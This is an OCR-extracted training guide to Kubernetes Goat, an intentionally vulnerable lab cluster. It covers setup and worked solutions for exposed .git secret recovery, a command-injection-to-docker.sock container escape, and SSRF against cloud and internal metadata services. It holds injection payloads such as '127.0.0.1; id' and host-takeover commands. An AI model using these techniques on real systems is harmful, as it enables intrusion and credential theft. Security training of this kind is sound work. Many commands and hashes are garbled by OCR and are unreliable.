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About Kubernetes Goat

Kubernetes Goat is designed to be an intentionally vulnerable cluster environment to learn and
practice Kubernetes security.
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https://github.com/madhuakula/kubernetes-goat

Kubernetes Goat is designed to be intentionally vulnerable cluster
environment to learn and practice Kubernetes security.
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Container escape to access host

Welcome to Kubernetes Goat. This is the home for exploring your Kubernetes Goat scenarios, discovery,
system

exploitation, attacks, endpoints, etc.

Docker CIS Benchmarks analysis
@ Refer to the Kubernetes Goat guide at https://madhuakula.com/kubernetes-goat/

Kubernetes CIS Benchmarks
analysis

Attacking private registry

© Kubernetes Goat - Madhu Akula

Disclaimer & Warnings

Kubernetes Goat creates intentionally vulnerable resources into your cluster. DO NOT

deploy Kubernetes Goat in a production environment or alongside any sensitive cluster
resources.

Kubernetes Goat Scenarios

1. Sensitive keys in code bases

2. DIND (docker-in-docker) exploitation

3. SSRF in K8S world

4, Container escape to access host system
5. Docker CIS Benchmarks analysis

(@]

. Kubernetes CIS Benchmarks analysis
. Attacking private registry
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https://madhuakula.com/kubernetes-goat/scenarios/scenario-7.html
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8. NodePort exposed services

9. Helm v2 tiller to PwN the cluster
10. Analysing crypto miner container
11. Kubernetes Namespaces bypass
12. Gaining environment information
13. DoS the memory/cpu resources
14. Hacker Container preview

Kubernetes Goat Architecture

TBD

Author

Kubernetes Goat was created by Madhu Akula

Madhu Akula is a security ninja, published author, and cloud native security researcher with an
extensive experience. Also, he is an active member of the international security, devops and
cloud native communities (null, DevSecOps, AllDayDevOps, etc). Holds industry certifications
like OSCP (Offensive Security Certified Professional), CKA (Certified Kubernetes Administrator),
etc. Madhu frequently speaks and runs training sessions at security events and conferences
around the world including DEFCON (24, 26 & 27), BlackHat USA (2018 & 19), USENIX LISA (2018
& 19), O'Reilly Velocity EU 2019, GitHub Satellite 2020, Appsec EU (2018 & 19), All Day DevOps
(2016, 17, 18, 19 & 20), DevSecCon (London, Singapore, Boston), DevOpsDays India, c0cOn(2017,
18), Nullcon (2018, 19), SACON 2019, Serverless Summit, null and multiple others. His research
has identified vulnerabilities in over 200+ companies and organizations including; Google,
Microsoft, LinkedIn, eBay, AT&T, WordPress, NTOP and Adobe, etc and credited with multiple
CVE's, Acknowledgements and rewards. He is co-author of Security Automation with Ansible2
(ISBN-13: 978-1788394512), which is listed as a technical resource by Red Hat Ansible. Also won
1st prize for building an infrastructure security monitoring solution at InMobi flagship
hackathon among 100+ engineering teams.

Learning Kubernetes

Kubernetes is an open-source container-orchestration system for automating application
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https://madhuakula.com/publication/security-vulnerabilities-acknowledgements/
https://www.secautomationbook.com/
https://www.ansible.com/resources/ebooks/security-automation-with-ansible-2
https://inmobihackdaysummer2015.devpost.com/
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maintained by the Cloud Native Computing Foundation. - Wikipedia

What is Kubernetes - The lllustrated Children's Guide to
Kubernetes

source: https://www.youtube.com/watch?v=4ht22ReBjno

Kubernetes Overview

Kubernetes Master
| 1



https://www.youtube.com/watch?v=4ht22ReBjno
https://www.youtube.com/watch?v=4ht22ReBjno

Controller Manager )
API Server [

Scheduler )
Developer

{ Operator
R

Users

Plugin Network (&g Flannel Weavenet, efc )

Kubelet ( cAdvisor J (KubeProxy J | Kubelet ]( cAdvisor ] (l-(ube-F‘rczuo,r )

Kubernetes Node Kubemetes Node

Image source: Khtan66 CC BY-SA 4.0, from Wikimedia Commons

Resources to learn more about Kubernetes

e Kubernetes Docs
e Kubernetes Tutorials
e Kubernetes by Examples

Kubernetes Cluster Setup

Before we set up the Kubernetes Goat, we need to have a working Kubernetes cluster admin
access.

There are many ways you can run the Kubernetes Cluster. Some of them include running in

e Cloud provider Kubernetes service (like GKE, EKS, AKS, DO, etc.)
e Locally provisioned cluster

e Minikube environnement
e Katacoda Playground


https://creativecommons.org/licenses/by-sa/4.0%22
https://commons.wikimedia.org/wiki/File:Kubernetes.png
https://kubernetes.io/docs/home/
https://kubernetes.io/docs/tutorials/
https://kubernetesbyexample.com/

Refer to the Kubernetes setup documentation for more information and details at
https://kubernetes.io/docs/setup/

Kubernetes playground by Katacoda

& C @ katacoda.com

Welcome!

Kubernetes Goat

© Estimated Time: 2 hours

W Difficulty: Intermediate

KUBERNETES
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Kubernetes Goat is designed to be intentionally vulnerable cluster environment to learn and practice Kubernetes security.

Github : https://github.com/madhuakula/kubernetes-goat

Guide : https://madhuakula.com/kubernetes-goat

https://katacoda.com/madhuakula/scenarios/kubernetes-goat

Google Kubernetes Engine(GKE) Setup

e Navigate to your Google cloud console https://console.cloud.google.com
e Choose the project you want to set up the Kubernetes Cluster in Google Cloud

e Then open the Google Cloud Shell. Click on the top right terminal icon

< C @ console.cloud.google.com;

= Google Cloud Platform & madhuakula v Q  Search products and resources

DASHBOARD ACTIVITY RECOMMENDATIONS #' CUSTOMISE


https://kubernetes.io/docs/setup/
https://katacoda.com/madhuakula/scenarios/kubernetes-goat
https://katacoda.com/madhuakula/scenarios/kubernetes-goat
https://console.cloud.google.com/

\ 0
2@ Projectinfo H AP APls H & Google Cloud Platform status H

Projact nama Requests (requests/sec) Al services normal
madhuakula

10
Project ID

madhuakula 08 —> Goto Cloud status dashboard

CLOUD SHELL

%" Terminal (madhuakula) X + ~ # Open editor e I S - B x

cloudshell:~ (madhuakula)s$ |

Creating new GKE cluster

export KUBERNETESGOATCLUSTERNAME="kubernetes-goat"

export KUBERNETESGOATREGION="us-centrall"

export KUBERNETESGOATCLUSTERVERSION="1.16.8-gke.15"

export KUBERNETESGOATPROJECTNAME="<YOUR GOOGLE PROJECT ID>"

gcloud beta container --project "S$KUBERNETESGOATPROJECTNAME" clusters create
"SKUBERNETESGOATCLUSTERNAME" --zone "$KUBERNETESGOATREGION-a'" --no-enable-basic-
auth --cluster-version "SKUBERNETESGOATCLUSTERVERSION" --machine-type "nl-standard-
1" -—image-type "UBUNTU" --disk-type '"pd-standard" --disk-size "50" --metadata
disable-legacy-
endpoints=true,GOAT_KEY="azhzLWdvYXQtNmIINGRKMWI3ZmE4NGUzNzAOOD11ZGQ2NDAOMWQ2MTk=""

-—-scopes
"https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/a
-—preemptible -—-num-nodes "2" --enable-stackdriver-kubernetes --enable-ip-alias —-

network "projects/$KUBERNETESGOATPROJECTNAME/global/networks/default" --subnetwork
"projects/$KUBERNETESGOATPROJECTNAME /regions/SKUBERNETESGOATREGION/subnetworks/defau
-—-default-max-pods-per-node "110" --enable-autoscaling --min-nodes "1" --max-nodes
"5" --no-enable-master-authorized-networks --addons
HorizontalPodAutoscaling,HttpLoadBalancing —--no-enable-autoupgrade --no-enable-
autorepair --maintenance-window "03:00"

gcloud container clusters get-credentials $KUBERNETESGOATCLUSTERNAME --zone
SKUBERNETESGOATREGION-a --project $KUBERNETESGOATPROJECTNAME

e Check the Kubernetes cluster access by running kubectl version --short

cloudshell:~ (madhuakula)$ |kubectl version --short
Client Version: v1.18.3

Server Version: v1.16.8-gke.1l5

Miscellaneous



e When you start the new project or creating Kubernetes cluster first time in GKE, it might
take a while to enable the API. So you might see below error/message information.

Kubernetes Engine APl is being enabled. This may take a minute or more. Learn more

Kubernetes Goat Setup

This document explains the steps to set up the Kubernetes Goat in your Kubernetes Cluster.

Please do not set up Kubernetes Goat in your production workloads, as this is designed to
be intentionally vulnerable.

Free online Kubernetes Goat playground

Welcome!

Kubernetes Goat

W Difficulty: Intermediate © Estimated Time: 2 hours
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Kubernetes Goat is designed to be intentionally vulnerable cluster environment to learn and practice Kubernetes security.

Github : https://github.com/madhuakula/kubernetes-goat
Guide : https://madhuakula.com/kubernetes-goat

https://katacoda.com/madhuakula/scenarios/kubernetes-goat

Pre-requisites


https://katacoda.com/madhuakula/scenarios/kubernetes-goat
https://katacoda.com/madhuakula/scenarios/kubernetes-goat

e Ensure you have admin access to the Kubernetes cluster
o Refer to kubectl releases for binaries https://kubernetes.io/docs/tasks/tools/install-
kubectl/
o Verify by running kubectl version
e Ensure you have helm version 2 setup in your path as helm2
o Refer to helm version 2 releases for binaries https://github.com/helm/helm/releases
o Verify by running helm2 version

Setting up Kubernetes Goat
e To set up the Kubernetes Goat resources in your cluster, run the following commands

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh

Scenarios

Welcome to Kubernetes Goat Scenarios. This is the home for exploring your Kubernetes Goat
scenarios, discovery, exploitation, attacks, endpoints, etc.

Ensure you have kubectl and docker binary installed in your host system to get maximum
out of this training platform. Follow each scenario by clicking on the scenario.

Access the Kubernetes Goat environment resources
e Ensure the pods are in running state before running the access script

kubectl get pods

master $ kubectl get pods

READY  STATUS RESTARTS


https://kubernetes.io/docs/tasks/tools/install-kubectl/
https://github.com/helm/helm/releases

build-code-deployment-7cbd74ccdf-8dx7k Running
health-check-deployment-54fd854474-h127t Running
hunger-check—deployment-74d6d8bd57-m7xfn Running
internal-proxy-deployment-6b897b7658-5ksth Running
kubernetes—goat—home—-deployment-6676b97f8f-91g4w Running
metadata—db-b686dcff9-6w484 Running
poor-registry-deployment-7d66bf854f-ntcxv Running
system-monitor-deployment-669cd6459c-9nd5z Running

0
0
0
0
0
0
0
0

e Run the following script to access the environment
bash access-kubernetes-goat.sh

e Then navigate to http://127.0.0.1:1234
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Kubernetes Goat is designed to be intentionally vulnerable cluster
environment to learn and practice Kubernetes security.

Introduction
Sensitive keys in code bases

DIND(docker-in-docker)
exploitation

KUBERNETES
SSRF in K8S world GOAT

Container escape to access host
system

Welcome to Kubernetes Goat. This is the home for exploring your Kubernetes Goat scenarios, discovery,
exploitation, attacks, endpoints, etc.

Docker CIS Benchmarks analysis
ELD Refer to the Kubernetes Goat guide at https://madhuakula.com/kubernetes-goat/

Kubernetes CIS Benchmarks
analysis

Attacking private registry

Madhu Akula

Flags looks like below


http://127.0.0.1:1234/

The flag format looks like k8s-goat-2912d3d0b262bb16afbe450034089463

List of Scenarios

. Sensitive keys in code bases

. DIND (docker-in-docker) exploitation
. SSRF in K8S world

. Container escape to access host system
. Docker CIS Benchmarks analysis

. Kubernetes CIS Benchmarks analysis
. Attacking private registry

. NodePort exposed services

. Helm v2 tiller to PwN the cluster

10. Analysing crypto miner container

11. Kubernetes Namespaces bypass

12. Gaining environment information
13. DoS the memory/cpu resources

14. Hacker Container preview
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Sensitive keys in codebases

Scenario Information

Developers tend to commit sensitive information to version control systems. As we are moving
towards CI/CD and GitOps systems, we tend to forgot to identify sensitive information in code
and commits. Let's see if we can find something cool here!

e To get started with the scenario, navigate to http://127.0.0.1:1230

@ Build Code X +

< C ©® 127.0.0.1:1230
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Welcome to the build code service. This service is built using containers with CI/CD pipleines and modern toolset like Git, Docker, AWS, and many other.

Scenario Solution

Method 1

After reading the scenario description and application information. We have performed some
discovery and analysis, then identified that it has .git folder exposed within the application.

@ 127.0.0.1:1230/.git/config X -

€ - C ©® 127.0.0.1:1230/.git/config

repositoryformatversion = 0
filemode = true

bare = false
logallrefupdates = true

e Clone the git repository locally by running the following command. Ensure you have set
up git-dumper locally before running the below command

python3 git-dumper.py http://localhost:1230/.git k8s-goat-git

$ python3 git-dumper.py http://localhost:1230/.git k8s-goat-git

[-] Testing http://localhost:1230/.git/HEAD [200]
= i N - A akl


https://github.com/arthaud/git-dumper

Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching
Fetching

Fetching
Fetching
Fetching
Fetching

[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]
[-]

e Now check the git log information

common files

http
http
http
http
http
http
http
http
http
http
http
http
http
http
http
http
http
http

Finding refs/

http
http
http

cd k8s-goat-git

git log

://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:
://localhost:

://localhost:
://localhost:
://localhost:
http: :

.gitignore [404]

.git/description [200]
.git/hooks/commit-msg.sample [200]
.git/COMMIT_EDITMSG [200]
.git/hooks/applypatch-msg.sample [200]
.git/hooks/pre-commit.sample [200]
.git/hooks/post-commit.sample [404]
.git/hooks/prepare-commit-msg.sample [200]
.git/hooks/post-update.sample [200]
.git/index [200]
.git/hooks/pre-rebase.sample [200]
.git/objects/info/packs [404]
.git/hooks/update.sample [200]
.git/info/exclude [200]
.git/hooks/pre-applypatch.sample [200]
.git/hooks/post-receive.sample [404]
.git/hooks/pre-push.sample [200]
.git/hooks/pre-receive.sample [200]

.git/logs/refs/remotes/origin/HEAD [404]
.git/logs/HEAD [200]

commlit YuodadceCU/udobcCebbosLar/aUaysdr/Lo/o040ToOUa |

Author:

Madhu Akula <madhu.akula@hotmail.com>



Final release

commit 3292ff3bd8d961192a9d4eb665fdd1014d87d3df
Author: Madhu Akula <madhu.akula@hotmail.com>
Date: Fri Nov 6 23:40:59 2020 +0100

Updated the docs

commit 7daa5f4cda8l2faa9c62966ba57ee9047eeb6b577
: Madhu Akula <madhu.akula@hotmail.com>
Fri Nov 6 23:39:21 2020 +0100

updated the endpoints and routes

commit d7c173ad183¢c574109cd5c4c648ffe551755b576
Author: Madhu Akula <madhu.akula@hotmail.com>
Date: Fri Nov 6 23:31:06 2020 +0100

Inlcuded custom environmental variables

commit bb2967a6f26fb59bf64031bbbl4b4f3e233944ca
Author: Madhu Akula <madhu.akula@hotmail.com>
Date: Fri Nov 6 23:28:33 2020 +0100

Added ping endpoint
commit 599f377bded4c3c5¢c8dc0d7700194b5b2b0643c0Ob

Author: Madhu Akula <madhu.akula@hotmail.com>
Date: Fri Nov 6 23:24:56 2020 +0100

Basic working go server with fiber

e Checkout an old commit for a specific version

git checkout 128029d89797957957b2a7198d8d159b239b34eb
1s -1la
cat .env

$ git checkout d7c173ad183c574109cd5c4c648ffe551755b576
Note: switching to 'd7c¢173ad183c574109cd5c4c648ffe551755b576".




You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at d7cl73a Inlcuded custom environmental variables

madhuakula madhuakula
madhuakula madhuakula
madhuakula madhuakula
madhuakula madhuakula
madhuakula madhuakula
madhuakula madhuakula
madhuakula madhuakula
madhuakula madhuakula

-rwW-rw-r- -
drwxrwxr-x
-rwW-rw-r- -
-rwW-rw-r- -
-rwW-rw-r- -
-rwW-rw-r- -

.env

go.mod
go.sum
main.go
README . md

3
4
1
7
1
1
1
1

00 CO OG0 ©0 €O 00 OO OO

$ cat .env

[build-code-aws]

aws_access_key_id = AKIVSHD6243H22G1KIDC

aws_secret_access_key = cgGnd4+gDgnriognd4g+34ig4bg34944g9g4Dox7cl1M
k8s_goat_flag = k8s-goat-51bc78332065561b0c99280f62510bcc

Method 2

Sometimes, we ideally have access to the pods or containers access and we can also perform
analysis from within the container as well.

export POD_NAME=$ (kubectl get pods --namespace default -1
jsonpath= )
kubectl exec -it $POD_NAME -- sh

$ export POD_NAME=$(kubectl get pods --namespace default -1 "app=build-code" -o jsonpath="{.items[0].metadata.name}")
$ kubectl exec -it $POD_NAME -- sh

/app # 1s -la

total 11580




4096
4096
4096

180
11773672
105
49893
420

4096

:40 README.md
144

:35 go.mod
:35 go.sum
:37 main.go
147

-rw-rw-r--
- FWXTWXI-X
-rw-rw-r--
-rw-rw-r--
-rW-rw-r--

NFRPrRRFRPRRFROORF &
oo 00

e Then we can perform analysis on .git folder by running utilities like trufflehog
trufflehog .

/app # trufflehog

Reason: High Entropy

Date: 2020-11-06 22:39:53

Hash: 7daa5f4cda8l2faa9c62966ba57ee9047eebb577
Filepath: .env

Branch: origin/master

Commit: updated the endpoints and routes

@H@ "0 rg *-1 r5 @K@

+[build-code-aws]

+aws_access_key_id = AKIVSHD6243H22G1KIDC

+aws_secret_access_key = cgGnd+gDgnriogn4g+34ig4bg34944994Dox7c1M
+k8s_goat_flag = k8s-goat-51bc78332065561b0c99280f62510bcc

+

= AKIVSHD6243H22G1KIDC
+aws_secret_access_key = cgGn4+gDgnriogn4g+34ig4bg34944gg4Dox7clM
+k8s_goat_flag = k8s-goat-51bc78332065561b0c99280162510bcc

High Entropy
: 2020-11-06 22:39:53
Hash: 7daa5f4cda812faa9c62966ba57ee9047eebb577
Filepath: go.sum
Branch: origin/master
Commit: updated the endpoints and routes

Miscellaneous

TBD

DIND (docker-in-docker) exploitation




Scenario Information

Most of the CI/CD and pipeline systems that use Docker and build containers for you within the
pipeline use something called DIND (docker-in-docker). Here in this scenario, we try to exploit
and gain access to the host system.

e To get started with the scenario, navigate to http://127.0.0.1:1231

@ 127.0.0.1:1231

Ping Your Servers

Enter your server address:

‘ Submit ‘

Response Output

Scenario Solution

e By looking at application functionality, identified that it has command injection
vulnerability

127.0.0.1; id

Ping Your Servers


http://127.0.0.1:1231/

Enter your server address:

127.0.0.1;id

=

Response Output

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttI=64 time=0.032 ms 64 bytes from 127.0.0.1: icmp_seq=2
ttlI=64 time=0.085 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 13ms rtt min/avg/max/mdev =
0.032/0.058/0.085/0.027 ms uid=0(root) gid=0(root) groups=0(root)

o After performing quite some analysis, identified the there is @ docker.sock mount
available in the file system

smount

Enter your server address:

;mount

=

Response Output

overlay on / type overlay
(rw,relatime,lowerdir=/var/lib/docker/overlay/Ocafad87fcale2d097617bb0989bd88ef179ba8d0cf7a22d4e74158683d6edea/root,upperdir=/var/lib/docki
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) devpts on /dev/pts type
devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime) tmpfs on
/sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755) cgroup on /sys/fs/cgroup/systemd type cgroup
(rw,nosuid,nodev,noexec,relatime,xattr,name=systemd) cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup
(rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids) cgroup on
/sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb) cgroup on /sys/fs/cgroup/perf_event type cgroup
(rw,nosuid,nodev,noexec,relatime,perf_event) cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) cgroup on
/sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup
(rw,nosuid,nodev,noexec,relatime,net_cls,net_prio) cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) cgroup
on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma) mqueue on /dev/mqueue type mqueue
(rw,nosuid,nodev,noexec,relatime) /dev/mapper/host01--vg-root on /dev/termination-log type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/mapper/host01--vg-root on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/mapper/host01--vg-root on
/etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/mapper/host01--vg-root on /etc/hosts type ext4
(rw,relatime,errors=remount-ro,data=ordered) shm on /dev/shm type
L e e e tmpfs (rw,nosuid,noexec,relatime,size=403912k,mode=755) tmpfs on /run/secrets/kubernetes.io/serviceaccount
type tmpfs (ro,relatime)

e Download the docker static binary from internet
https://download.docker.com/linux/static/stable/

swget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -0
/tmp/docker-19.03.9.tgz


https://download.docker.com/linux/static/stable/

e Extract the binary from the docker-19.03.9.tgz file

star -xvzf /tmp/docker-19.03.9.tgz -C /tmp/

Ping Your Servers

Enter your server address:

star -xvzf /tmp/docker-19.03.9.tgz -C /tmp/

‘ Submit ‘

Response Output

docker/ docker/docker-init docker/runc docker/docker docker/docker-proxy docker/containerd docker/ctr docker/dockerd docker/containerd-shim

e Access the host system by running the following docker commands with docker.sock

3 /tmp/docker/docker -H unix:///custom/docker/docker.sock ps
5 /tmp/docker/docker -H unix:///custom/docker/docker.sock images

Enter your server address:

;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps



‘ Submit ‘

Response Output

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 7fedbe69460e madhuakula/k8s-goat-info-app "python /app.py" 23 minutes ago
Up 22 minutes k8s_info-app_internal-proxy-deployment-6b897b7658-cd5dc_default 4c0e37b7-d618-4f26-9d63-fdclebfa02c3 0 e70daefe8207
madhuakula/k8s-goat-poor-registry “/entrypoint.sh regi..." 23 minutes ago Up 23 minutes k8s_poor-registry_poor-registry-deployment-7d66bf854f-
pxhkd default 61335b4e-9807-416a-9edb-b77f499a8485 0 f77a88b79047 madhuakula/k8s-goat-system-monitor "gotty -w bash" 23 minutes ago
Up 23 minutes k8s_system-monitor_system-monitor-deployment-669cd6459c-vzkg4_default_9be49ba9-b7ca-43ec-8b67-193d8d595fda_0
585268cb0152 madhuakula/k8s-goat-home "nginx -g 'daemon of..." 23 minutes ago Up 23 minutes kBs_kubernetes-goat-home_kubernetes-goat-
home-deployment-6676b97f8f-dkSnn_default_2137bada-fd6c-4d51-9468-9586f4b92402_0 04eb085b2ebc madhuakula/k8s-goat-internal-api
"/internal-api" 23 minutes ago Up 23 minutes k8s_internal-api_internal-proxy-deployment-6b897b7658-cd5dc_default 4c0e37b7-d618-4f26-9d63-
fdcle6fa02c3_0 57b1d76424b7 madhuakula/k8s-goat-hunger-check "gotty -w bash" 23 minutes ago Up 23 minutes k8s_hunger-check_hunger-
check-deployment-74d6d8bd57-nlpj7_default fde008c8-682f-440a-8cea-385d7832d94c_0 7f8f414fale3 madhuakula/k8s-goat-health-check
"/health-check" 23 minutes ago Up 23 minutes k8s_health-check_health-check-deployment-54fd854474-xkc2m_default_5fecad09-7f7d-42c4-b97e-
b15f7b8272a5_0 8fabbbfb56d1 madhuakula/k8s-goat-build-code "./app" 24 minutes ago Up 24 minutes k8s_build-code_build-code-deployment-
7cbd74ccdf-856hs_default_9f9ecc0d-bb64a-401c-a40e-90002ce7b031_0 80b2f997a728 madhuakula/k8s-goat-cache-store "docker-entrypoint.s..." 24
minutes ago Up 24 minutes k8s_cache-store_cache-store-deployment-7cb9d9578d-sdhmg_secure-middleware_c0618c45-40dd-4aaf-9a72-
2c3dc964bf09 0 567abc699a99 madhuakula/kBs-goat-metadata-db "/metadata-db" 24 minutes ago Up 24 minutes k8s_metadata-db_metadata-db-
b686dcff9-nwsvh_default_20392a8f-1099-4bdf-a572-bld2ae8aB3ec_0 fle43014385a k8s.gcr.io/pause:3.2 "/pause" 24 minutes ago Up 24 minutes
kBs_POD_system-monitor-deployment-669cd6459c-vzkg4 default 9bed49ba9-b7ca-43ec-8b67-193dBd595fda_0 03f763bc43d1 k8s.gcr.io/pause:3.2
"/pause" 24 minutes ago Up 24 minutes k8s_POD_poor-registry-deployment-7d66bf854f-pxhkd_default_61335b4e-9807-416a-9edb-
b77f499a8485 0 eB92ea89e983 kBs.gcr.io/pause:3.2 "/pause" 24 minutes ago Up 24 minutes k8s_POD_kubernetes-goat-home-deployment-
6676b97f8f-dk5nn_default_2137bada-fd6c-4d51-9468-9586f4b92402_0 b97d23ceb63bd k8s.gcr.io/pause:3.2 "/pause" 24 minutes ago Up 24
minutes kBs_POD_internal-proxy-deployment-6b897b7658-cd5dc_default 4c0e37b7-d618-4f26-9d63-fdcle6fa02c3 0 1b5ad65448ab
k8s.gcr.io/pause:3.2 "/pause" 24 minutes ago Up 24 minutes k8s_POD_hunger-check-deployment-74d6d8bd57-nlpj7_default_fde008c8-682f-440a-

99

102
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REPOSITORY TAG IMAGE ID CREATED SIZE
madhuakula/k8s-goat-health-check latest 3ed6298c2b73 51 minutes ago 938MB
madhuakula/k8s-goat-build-code latest 927137956ae3 About an hour ago  122MB
madhuakula/k8s-goat-internal-api latest al5cd0189c51 2 days ago 384MB
madhuakula/k8s-goat-home latest 9d9b090dd54d 2 months ago 19.9MB
k8s.gcr.io/kube-proxy v1.18.5 aldaed4e2b60 4 months ago 117MB
kBs.gcr.io/kube-apiserver v1.18.5 08ca24f16874 4 months ago 173MB
k8s.gcr.io/kube-controller-manager v1.18.5 8d69eafl96dc 4 months ago 162MB
k8s.gcr.io/kube-scheduler v1.18.5 39d887c6621d 4 months ago 95.3MB
mariadb 10 22851c7fe916 4 months ago 407MB
mariadb latest 22851c7fe9l6 4 months ago 407MB
mongo latest 2b2cc1f48aed 4 months ago 388MB
ubuntu latest 74435f89%ab78 4 months ago 73.9MB
gcr.io/kubernetes-helm/tiller v2.16.9 fd3fd9abl34a 4 months ago 88MB

= madhuakula/k8s-goat-system-monitor latest 9lce8081caze 4 months ago 126MB
madhuakula/k8s-goat-hunger-check latest 2110949652d 4 months ago 124MB
madhuakula/k8s-goat-poor-registry latest 7Bacbcca5748 4 months ago 80.2MB
madhuakula/k8s-goat-metadata-db latest 0477clcOf30c 4 months ago 378MB
madhuakula/k8s-goat-info-app latest 39b49%eabOf44 4 months ago 89.6MB
madhuakula/k8s-goat-cache-store latest b97cabf9ecdf 4 months ago 31.5MB
madhuakula/k8s-goat-batch-check latest 03fbb00ce430 4 months ago 7.63MB
redis latest 235592615444 5 months ago 104MB
postgres 12 b97bae343e06 5 months ago 313MB
= | postgres latest b97bae343e06 5 months ago 313MB
mysql 5.6 8de95e6026c3 5 months ago 302MB
mysql 8 be@dbf01abf3 5 months ago 541MB
mysql latest beddbf01a0f3 5 months ago 541MB
alpine latest a24bb4013296 5 months ago 5.57MB
k8s.gcr.io/kube-proxy v1.18.0 43940c34f24f 7 months ago 117MB
quay.io/coreos/flannel v0.12.0-arm64 7cf4adlldaaa 8 months ago 53.6MB
quay.io/coreos/flannel v0.12.0-amd64 4e9f801d2217 8 months ago 52.7MB
k8s.gcr.io/pause 3.2 80d28bedfe5d 8 months ago 683kB
k8s.gcr.io/coredns 1.6.7 67da37a%a360 9 months ago 43.8MB
k8s.gcr.io/etcd 3.4.3-0 303ce5dbBe90 12 months ago 288MB
s | weaveworks/scope 1.11.4 a082d48f0b39 15 months ago 78.5MB
: katacoda/katacoda-cloud-provider 0.0.1 74188596f8ch 16 months ago 116MB
gcr.io/kubernetes-helm/tiller v2.13.1 cb5aea’dB466 19 months ago 82.1MB
quay.io/ansible/molecule 2.20 1171569d6ba4d 19 months ago 704MB
o portworx/oci-monitor 2.0.2.3 fd563200e5cl 20 months ago 123MB
portworx/px-enterprise 2.08.2.3 057d4daclfe8 20 months ago 2.33GB
openstorage/stork 2.0.1 7a8b5c9eb346 23 months ago 325MB
microsoft/mssql-server-linux latest 314918ddaedf 23 months ago 1.35GB
gcr.io/istio-release/galley 1.6.0 492a18a44119 2 years ago 65.8MB
= gcr.io/istio-release/grafana 1.0.0 95aab697d9bbe 2 years ago 301MB
o gcr.io/istio-release/citadel 1.0.0 db952d07e89b 2 years ago 51.6MB
gcr.io/istio-release/mixer 1.6.0 1fe406b9e272 2 years ago 64.4MB
gcr.io/istio-release/servicegraph 1.0.0 5f5bbad4bf25 2 years ago 11.2MB
gcr.io/istio-release/sidecar injector 1.0.0 6af3c2187c8c 2 years ago 45.3MB
gcr.io/istio-release/proxy_init 1.6.0 c7c94fe3e39c 2 years ago 119MB
gcr.io/istio-release/proxyv2 1.0.0 f2elb6d78e5ee 2 years ago 351MB
gcr.io/istio-release/pilot 1.0.0 47beddebddab 2 years aqgo 289MB



TBD

SSRF in K8S world

Scenario Information

SSRF (Server Side Request Forgery) vulnerability became the go-to attack for cloud native
environments. Here in this scenario, we will see how we can exploit an application vulnerability
like SSRF to gain access to cloud instance metadata as well as internal services metadata
information.

e To get started with the scenario, navigate to http://127.0.0.1:1232

C  ® 127.0.01

Internal APl Proxy

Enter your endpoint:
Method:

Custom Header:

Submit

Response Output

Madhu Akula

Scenario Solution

Based on the description, we know that this application possibly vulnerable to the SSRF
vulnerability. Let's go ahead and access the default instance metadata service using


http://127.0.0.1:1232/

169.254.169.254 . I[dentify which cloud provider you are running this service, then use
specific headers, and queries.

e Let's also run and see what all ports running with in the same pod/container. The
endpointis http://127.0.0.1:5000 and method GET

Internal APl Proxy

Enter your endpoint:

http://127.0.0.1:5000

Method:

GET

Custom Header:

Submit

Response Output

"{\"info\": \"Refer to internal http://metadata-db for more information\"}"

e Now we can see that there is an internal-only exposed service with-in the cluster called
http://metadata-db

Internal API Proxy



Enter your endpoint:

http://metadata-db

Method:

GET

Custom Header:

{'Content-Type': 'application/json' }

Response Output

"<pre>\n<a href=\"1.0\">1.0</a>\n<a href=\"latest/\">latest/</a>\n</pre>\n"

e After enumerating through the entire key values, finally identified the flag at
http://metadata-db/latest/secrets/kubernetes-goat

Internal API Proxy



Enter your endpoint:

http://metadata-db/latest/secrets/kubernetes-goat

Method:

GET

Custom Header:

Submit

Response Output

